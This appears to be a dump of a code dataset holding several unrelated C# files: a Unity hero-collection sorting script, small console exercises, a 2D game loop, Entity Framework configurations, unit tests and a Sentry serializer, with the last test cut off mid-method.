text stringlengths 13 6.01M |
|---|
using UnityEngine;
using System.Collections;
using System.Linq;
public class SortingButton : MonoBehaviour
{
Button button = new Button();
void Update ()
{
if (Camera.main.GetComponent<StateKeeper>().inHeroCollection)
{
if (button.ButtonClicked(gameObject))
{
if (gameObject.name == "name")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroName).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroName).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
}
}
if (gameObject.name == "race")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroRace).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroRace).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
}
}
if (gameObject.name == "class")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroClass).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroClass).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
}
}
if (gameObject.name == "rarity")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroRarity).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroRarity).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
}
if (gameObject.name == "strenght")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroStrenght).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroStrenght).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
}
if (gameObject.name == "dexterity")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroDexterity).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroDexterity).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
}
if (gameObject.name == "magic")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroMagic).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroMagic).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
}
if (gameObject.name == "speed")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroSpeed).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroSpeed).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = true;
}
}
if (gameObject.name == "constitution")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroConstitution).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroConstitution).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
}
if (gameObject.name == "reaction")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroReaction).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroReaction).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
}
if (gameObject.name == "magicResist")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroMagicResist).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroMagicResist).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
}
if (gameObject.name == "health")
{
bool currentState = transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending;
if (currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderBy(o => o.GetComponent<HeroAttributes>().heroHealth).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = false;
}
if (!currentState)
{
Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects = Camera.main.GetComponent<PlayerDataController>().allHeroGameObjects.OrderByDescending(o => o.GetComponent<HeroAttributes>().heroHealth).ToList();
transform.parent.GetComponent<SortingDirectionsKeeper>().healthAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().nameAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().raceAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().classAscending = true;
transform.parent.GetComponent<SortingDirectionsKeeper>().rarityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().strenghtAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().dexterityAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().speedAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().constitutionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().reactionAscending = false;
transform.parent.GetComponent<SortingDirectionsKeeper>().magicResistAscending = false;
}
}
}
if (Camera.main.GetComponent<HeroCollectionManager>().selectedHero != null)
{
GetComponent<SpriteRenderer>().color = Color.Lerp(GetComponent<SpriteRenderer>().color, new Color(1f, 1f, 1f, 0.1f), Time.deltaTime * 10f);
}
else
{
GetComponent<SpriteRenderer>().color = Color.Lerp(GetComponent<SpriteRenderer>().color, new Color(1f, 1f, 1f, 1f), Time.deltaTime * 10f);
}
}
}
}
|
using System;
namespace Christmas
{
class Program
{
static void Main(string[] args)
{
Random random = new Random();
string[] presents = {"lod", "auto", "mobil", "pocitac", "letadlo", "pc hru"};
string[] names = {"Marek", "Filip", "Michal"};
for (int i = 0; i < names.Length; i++)
{
Console.Write(names[i] + " dostane ");
for (int j = 0; j < 2; j++)
{
int rnd = random.Next(0, presents.Length);
while(presents[rnd] == "nic")
rnd = random.Next(0, presents.Length);
if (j == 1)
Console.Write(presents[rnd]);
else
Console.Write(presents[rnd] + ", ");
presents[rnd] = "nic";
}
Console.WriteLine();
}
Console.ReadKey(true);
}
}
}
|
using System;
namespace CourseHunter_26_Array
{
class Program
{
static void Main(string[] args)
{
int[] array1; //задекларировали переменную
array1 = new int [10]; //инициализировали массив
int[] array2 = new int[5];
int[] array3 = new int[5] { 2, 4, 6, 8, 10 };
int[] array4 = { 3, -10, 20, 12, 14 };
Console.WriteLine(array4[1]);
int number = array4[3];
Console.WriteLine(number);
Console.WriteLine(array4.Length); //длинна масива
Console.WriteLine(array4[array4.Length-1]); //обращение к крайнему индексу массива
string str1 = new string("qwerty"); //строку можно представитиь как массив char'ов
char first = str1[0]; // обращение к первому символу в строке
char last = str1[str1.Length - 1]; // обращение к последнему символу в строке
Console.WriteLine($"first element is {first}. The last element id {last}");
//impossible
//str1[str1.Length - 1] = 'r';
}
}
}
|
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
namespace MageTwinstick
{
/// <summary>
/// Stores information on all GameObjects, adds and removes Gameobjects
/// </summary>
internal class GameWorld
{
//Fields
private Graphics dc; //<! The graphis that is used
private DateTime endTime; //<! The end timeof the last frame
private float currentFps; //<! the current values of the FPS
private BufferedGraphics backBuffer; //<! The graphics backbuffer that is used
private Rectangle display; //<! The displayrectangle
private EnemySpawner es; //<! the enemyspawner
//Properties
//Auto properties for the given values
/// <summary>
/// Autorproperty fot the Objects list
/// </summary>
public static List<GameObject> Objects { get; set; } = new List<GameObject>();
/// <summary>
/// Autorproperty fot the Objects to remove list
/// </summary>
public static List<GameObject> ObjectsToRemove { get; set; } = new List<GameObject>();
/// <summary>
/// Autorproperty fot the Objects to add list
/// </summary>
public static List<GameObject> ObjectsToAdd { get; set; } = new List<GameObject>();
/// <summary>
/// Autoproperty for IsRunning
/// </summary>
public bool IsRunning { get; set; } = true;
/// <summary>
/// constructer for gameworld
/// </summary>
/// <param name="dc">the graphics that is used</param>
/// <param name="display">Displayrectangle</param>
public GameWorld(Graphics dc, Rectangle display) //takes graphics and display as arguments
{
this.display = display;
this.backBuffer = BufferedGraphicsManager.Current.Allocate(dc, display);
this.dc = backBuffer.Graphics;
}
//Methods
/// <summary>
/// Setup word, creates the arena, enemyspawner and a player object
/// </summary>
public void SetupWorld() // Setup the world before we begin the game loop
{
//initiate a player object
Player player = new Player(200, 100, @"Images\Player\Idle\0.png",
new Vector2D(display.Width/2f, display.Height/2f), display, 10);
// add an arena object to the
Objects.Add(new Arena(@"Images\Background.png", new Vector2D(0, 0), display, 1));
//add player to the Objects list
Objects.Add(player);
// initate the enemyspawner
es = new EnemySpawner(display, player);
// define the end time for the fps calculation
endTime = DateTime.Now;
}
/// <summary>
/// gameloop, runs every tick
/// </summary>
public void GameLoop()
{
//add pending objects to the objects list
foreach (GameObject obj in ObjectsToAdd)
{
Objects.Add(obj);
}
ObjectsToAdd.Clear();
//remove pending objects form the objects list
foreach (GameObject gameObject in ObjectsToRemove)
{
Objects.Remove(gameObject);
}
// clear the remove list
ObjectsToRemove.Clear();
// define the start time for the fps calculation
DateTime startTime = DateTime.Now;
// calculate the timespan
TimeSpan deltaTime = startTime - endTime;
// set the milliseconds to deltatime, if it is more than 0, else set it to one
int mill = deltaTime.Milliseconds > 0 ? deltaTime.Milliseconds : 1;
// calculate fps
currentFps = 1000/mill;
// clear the canvas
dc.Clear(Color.White);
// if the game is runnig
if (IsRunning)
{
es.Update(currentFps); // updat the enemyspawner
Update(); // Update all gameobjects
UpdateAnimation(); // update all animations
Draw(); // draw all objects
}
//define end time
endTime = DateTime.Now;
}
/// <summary>
/// draw metgod
/// </summary>
public void Draw()
{
//Call the draw method on all objects in the list
foreach (GameObject go in Objects)
{
go.Draw(dc);
}
// drawing the HUD
// create the pen and font
Pen p = new Pen(Color.Black, 5);
Font f = new Font("Arial", 16);
// find the player in the Objects list
Player pl = (Player) Objects.Find(x => x is Player);
//calculate the percentage of player HP
float percentage = (300f/100f)*pl.Health;
// fill a rectangle depending on the health percentage
dc.FillRectangle(Brushes.Red, new Rectangle(10, 10, Convert.ToInt32(percentage), 50));
// draw edge rectangle
dc.DrawRectangle(p, new Rectangle(10, 10, 300, 50));
//same for mana
percentage = (300f/100f)*pl.Mana;
dc.FillRectangle(Brushes.Blue, new Rectangle(display.Right - 310, 10, Convert.ToInt32(percentage), 50));
dc.DrawRectangle(p, new Rectangle(display.Right - 310, 10, 300, 50));
//change font size
f = new Font("Arial", 30);
// draw score
dc.DrawString(Convert.ToString(pl.Score), f, Brushes.Black, display.Width/2 - 50, 10);
backBuffer.Render();
}
/// <summary>
/// updates all objects
/// </summary>
public void Update()
{
//Call the draw method on all objects in the list
foreach (GameObject go in Objects)
{
go.Update(currentFps);
if (go is Player)
{
//check if the player health is below 0
if ((go as Player).Health <= 0)
{
// change IsRunning to false
IsRunning = false;
}
}
}
}
/// <summary>
/// Updates all animations
/// </summary>
public void UpdateAnimation()
{
//Call the draw method on all objects in the list
foreach (GameObject go in Objects)
{
go.UpdateAnimation(currentFps);
}
}
/// <summary>
/// reset all the lists
/// </summary>
public static void ResetStatics()
{
Objects.Clear();
ObjectsToRemove.Clear();
ObjectsToAdd.Clear();
}
/// <summary>
/// dispose the backbuffer and clear all lists
/// </summary>
public void Dispose()
{
backBuffer.Dispose();
ResetStatics();
}
}
} |
using Cs_Gerencial.Dominio.Entities;
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations.Schema;
using System.Data.Entity.ModelConfiguration;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Cs_Gerencial.Infra.Data.EntityConfig
{
public class ServentiaConfig: EntityTypeConfiguration<Serventia>
{
public ServentiaConfig()
{
HasKey(c => c.ServentiaId);
this.Property(c => c.ServentiaId).HasDatabaseGeneratedOption(DatabaseGeneratedOption.None);
Property(p => p.Bairro)
.HasMaxLength(40);
Property(p => p.Uf)
.HasMaxLength(2)
.HasColumnType("char");
Property(p => p.Cep)
.HasMaxLength(8);
Property(p => p.Telefone)
.HasMaxLength(14);
Property(p => p.Telefone2)
.HasMaxLength(14);
Property(p => p.Email)
.HasMaxLength(60);
}
}
}
|
using System;
using System.Linq;
using Microsoft.EntityFrameworkCore;
namespace Shared.DbInit
{
public class DataContext : DbContext
{
public DataContext() { }
public DataContext(DbContextOptions<DataContext> options)
: base(options) { }
protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
{
base.OnConfiguring(optionsBuilder);
//Add Code here
}
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
var interfaceType = typeof(IModelGenerator);
var types = AppDomain.CurrentDomain.GetAssemblies()
.SelectMany(s => s.GetTypes()).Where(p => p.IsClass && interfaceType.IsAssignableFrom(p));
foreach (var type in types)
{
IModelGenerator instance = (IModelGenerator)Activator.CreateInstance(type);
instance?.OnModelCreating(modelBuilder);
}
base.OnModelCreating(modelBuilder);
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
namespace Search_for_a_number
{
class Program
{
static void Main(string[] args)
{
var numbers = Console.ReadLine().Split().Select(int.Parse).ToList();
int[] controlNums = Console.ReadLine().Split().Select(int.Parse).ToArray();
var result = new List<int>();
int numbersTaken = controlNums[0];
int numbersDeleted = controlNums[1];
for (int i = 0; i < numbersTaken; i++)
{
result.Add(numbers[i]);
}
for (int i = 0; i < numbersDeleted; i++)
{
result.RemoveAt(0);
}
bool isThere = result.Contains(controlNums[2]);
if (isThere)
{
Console.WriteLine("YES!");
}
else
{
Console.WriteLine("NO!");
}
}
}
}
|
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Moq;
using ParrisConnection.DataLayer.DataAccess;
using ParrisConnection.DataLayer.Entities.Wall;
using ParrisConnection.DataLayer.Repositories;
using ParrisConnection.ServiceLayer.Data;
using ParrisConnection.ServiceLayer.Services.Status.Queries;
using System.Collections.Generic;
namespace ParrisConnection.Tests.Services
{
[TestClass]
public class StatusQueryServiceTest
{
private StatusQueryService _statusQueryService;
private Mock<IDataAccess> _dataAccess;
private Mock<IRepository<Status>> _statusRepository;
[TestInitialize]
public void Initialize()
{
_statusRepository = new Mock<IRepository<Status>>();
_dataAccess = new Mock<IDataAccess>();
_dataAccess.Setup(d => d.Statuses).Returns(_statusRepository.Object);
_statusQueryService = new StatusQueryService(_dataAccess.Object);
}
[TestMethod]
public void GetStatuses_Should_Return_Ienumerable_StatusData()
{
Assert.IsInstanceOfType(_statusQueryService.GetStatuses(), typeof(IEnumerable<StatusData>));
}
[TestMethod]
public void GetStatusById_Should_Return_StatusData()
{
Assert.IsInstanceOfType(_statusQueryService.GetStatusById(0), typeof(StatusData));
}
}
}
|
namespace DFC.ServiceTaxonomy.CustomFields.Settings
{
public class AccordionFieldSettings
{}
}
|
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Text;
using System.Windows.Data;
namespace EmberCore.KernelServices.UI.View.Configuration.Converts
{
public class IntValueConverter : CastToConverter<int>
{
public override int Cast(object value) => int.Parse(value.ToString());
}
public class DoubleValueConverter : CastToConverter<double>
{
public override double Cast(object value) => double.Parse(value.ToString());
}
public class BooleanValueConverter : CastToConverter<bool>
{
public override bool Cast(object value) => bool.Parse(value.ToString());
}
}
|
using Sentry.Extensibility;
namespace Sentry.Protocol.Envelopes;
/// <summary>
/// Represents an object serializable in JSON format.
/// </summary>
internal sealed class JsonSerializable : ISerializable
{
/// <summary>
/// Source object.
/// </summary>
public IJsonSerializable Source { get; }
/// <summary>
/// Initializes an instance of <see cref="JsonSerializable"/>.
/// </summary>
public JsonSerializable(IJsonSerializable source) => Source = source;
/// <inheritdoc />
public async Task SerializeAsync(Stream stream, IDiagnosticLogger? logger, CancellationToken cancellationToken = default)
{
var writer = new Utf8JsonWriter(stream);
await using (writer.ConfigureAwait(false))
{
Source.WriteTo(writer, logger);
await writer.FlushAsync(cancellationToken).ConfigureAwait(false);
}
}
/// <inheritdoc />
public void Serialize(Stream stream, IDiagnosticLogger? logger)
{
using var writer = new Utf8JsonWriter(stream);
Source.WriteTo(writer, logger);
writer.Flush();
}
}
|
using System;
using System.Threading;
using System.Threading.Tasks;
using AgentR.Server;
using FakeItEasy;
using MediatR;
using Microsoft.AspNetCore.SignalR;
using NUnit.Framework;
namespace UnitTests
{
public class ServerTests
{
IHubContext<AgentHub> hub;
IRequestCallbackCordinator storage;
IClientProxy clientProxy;
[SetUp]
public void Setup()
{
hub = A.Fake<IHubContext<AgentHub>>();
storage = A.Fake<IRequestCallbackCordinator>();
clientProxy = A.Fake<IClientProxy>();
A.CallTo(() => hub.Clients.Group(A<string>.Ignored)).Returns(clientProxy);
}
[Test(Description = "Client completes request successfully", TestOf = typeof(AgentHandler<,>)), Timeout(500)]
public async Task TestAgentHandlerSuccess()
{
// Arrange
var handler = new AgentHandler<TestRequest, Unit>(hub, storage);
var request = new TestRequest();
SendingARequestToTheClientWillBeSuccessfull();
